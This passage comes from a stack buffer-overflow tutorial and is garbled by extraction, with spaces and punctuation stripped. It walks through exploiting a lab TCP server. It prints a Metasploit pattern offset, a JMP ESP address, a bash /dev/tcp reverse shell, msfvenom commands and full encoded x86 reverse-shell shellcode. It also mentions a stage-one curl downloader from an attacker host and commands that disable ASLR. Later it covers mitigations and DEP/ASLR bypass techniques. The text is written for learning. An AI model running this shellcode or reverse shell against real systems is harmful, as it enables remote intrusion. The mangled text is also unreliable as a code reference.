Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
